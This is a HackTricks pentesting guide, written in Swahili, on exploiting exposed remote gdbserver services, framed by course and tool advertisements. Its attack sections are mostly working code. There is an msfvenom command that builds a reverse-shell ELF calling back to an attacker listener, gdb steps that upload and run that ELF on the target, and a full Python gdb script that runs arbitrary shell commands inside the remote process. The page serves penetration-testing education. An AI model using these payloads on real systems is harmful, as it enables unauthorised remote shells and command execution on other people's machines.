hacktricks/network-services-pentesting/pentesting-remote-gdbserver.md

# Pentesting Remote GdbServer

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

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* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.

</details>

<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>

**Usanidi uliopo mara moja kwa tathmini ya udhaifu na upimaji wa kuingilia**. Tekeleza pentest kamili kutoka mahali popote na zana na huduma 20+ ambazo zinaanza kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapenzi wa pentest - tunatengeneza zana za desturi, moduli za ugunduzi na uvamizi ili kuwapa muda wa kuchimba kwa kina, kuvunja kabati, na kufurahi.

{% embed url="https://pentest-tools.com/" %}

## **Taarifa Msingi**

**gdbserver** ni zana inayowezesha udukuzi wa programu kwa njia ya kijijini. Inakimbia pamoja na programu inayohitaji udukuzi kwenye mfumo huo huo, unaojulikana kama "lengo." Usanidi huu unaruhusu **GNU Debugger** kuunganisha kutoka kwenye kompyuta tofauti, "mwenyeji," ambapo msimbo wa chanzo na nakala ya binary ya programu inayodukuliwa zimehifadhiwa. Uunganisho kati ya **gdbserver** na debugger unaweza kufanywa kupitia TCP au mstari wa serial, kuruhusu usanidi wa udukuzi wa kubadilika.

Unaweza kufanya **gdbserver isikilize kwenye bandari yoyote** na wakati huu **nmap haiwezi kutambua huduma hiyo**.

## Udukuzi

### Pakia na Tekeleza

Unaweza kwa urahisi kuunda **mlango wa nyuma wa elf na msfvenom**, kuipakia na kuitekeleza:
```bash
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf

chmod +x binary.elf

gdb binary.elf

# Set remote debuger target
target extended-remote 10.10.10.11:1337

# Upload elf file
remote put binary.elf binary.elf

# Set remote executable file
set remote exec-file /home/user/binary.elf

# Execute reverse shell executable
run

# You should get your reverse-shell
```
### Tekeleza amri za kiholela

Kuna njia nyingine ya **kufanya kihariri tekeleze amri za kiholela kupitia [scripti ya kawaida ya python iliyopatikana hapa](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.
```bash
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
target extended-remote 192.168.1.4:2345

# Load our custom gdb command `rcmd`.
source ./remote-cmd.py

# Change to a trusty binary and run it to load it
set remote exec-file /bin/bash
r

# Run until a point where libc has been loaded on the remote process, e.g. start of main().
tb main
r

# Run the remote command, e.g. `ls`.
rcmd ls
```
Kwanza kabisa **unda skripti hii kwenye kompyuta yako**:

{% code title="remote-cmd.py" %}
```python
#!/usr/bin/env python3

import gdb
import re
import traceback
import uuid


class RemoteCmd(gdb.Command):
def __init__(self):
self.addresses = {}

self.tmp_file = f'/tmp/{uuid.uuid4().hex}'
gdb.write(f"Using tmp output file: {self.tmp_file}.\n")

gdb.execute("set detach-on-fork off")
gdb.execute("set follow-fork-mode parent")

gdb.execute("set max-value-size unlimited")
gdb.execute("set pagination off")
gdb.execute("set print elements 0")
gdb.execute("set print repeats 0")

super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER)

def preload(self):
for symbol in [
"close",
"execl",
"fork",
"free",
"lseek",
"malloc",
"open",
"read",
]:
self.load(symbol)

def load(self, symbol):
if symbol not in self.addresses:
address_string = gdb.execute(f"info address {symbol}", to_string=True)
match = re.match(
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE
)
if match and len(match.groups()) > 0:
self.addresses[symbol] = match.groups()[0]
else:
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".')

return self.addresses[symbol]

def output(self):
# From `fcntl-linux.h`
O_RDONLY = 0
gdb.execute(
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})'
)

# From `stdio.h`
SEEK_SET = 0
SEEK_END = 2
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})')
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})')
if int(gdb.convenience_variable("len")) <= 0:
gdb.write("No output was captured.")
return

gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)')
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)')
gdb.execute('printf "%s\\n", (char*) $mem')

gdb.execute(f'call (int){self.load("close")}($fd)')
gdb.execute(f'call (int){self.load("free")}($mem)')

def invoke(self, arg, from_tty):
try:
self.preload()

is_auto_solib_add = gdb.parameter("auto-solib-add")
gdb.execute("set auto-solib-add off")

parent_inferior = gdb.selected_inferior()
gdb.execute(f'set $child_pid = (int){self.load("fork")}()')
child_pid = gdb.convenience_variable("child_pid")
child_inferior = list(
filter(lambda x: x.pid == child_pid, gdb.inferiors())
)[0]
gdb.execute(f"inferior {child_inferior.num}")

try:
gdb.execute(
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)'
)
except gdb.error as e:
if (
"The program being debugged exited while in a function called from GDB"
in str(e)
):
pass
else:
raise e
finally:
gdb.execute(f"inferior {parent_inferior.num}")
gdb.execute(f"remove-inferiors {child_inferior.num}")

self.output()
except Exception as e:
gdb.write("".join(traceback.TracebackException.from_exception(e).format()))
raise e
finally:
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}')


RemoteCmd()
```
{% endcode %}

<figure><img src="/.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>

**Usanidi uliopo mara moja kwa ajili ya tathmini ya udhaifu na upenyezaji**. Fanya upenyezaji kamili kutoka mahali popote na zana na huduma zaidi ya 20 ambazo zinaanza kutoka kwa uchunguzi hadi ripoti. Hatuchukui nafasi ya wapenyezaji - tunatengeneza zana za desturi, moduli za ugunduzi na uvamizi ili kuwapa muda wa kuchimba kwa kina, kuvunja mfumo, na kufurahi.

{% embed url="https://pentest-tools.com/" %}

<details>

<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>

Njia nyingine za kusaidia HackTricks:

* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>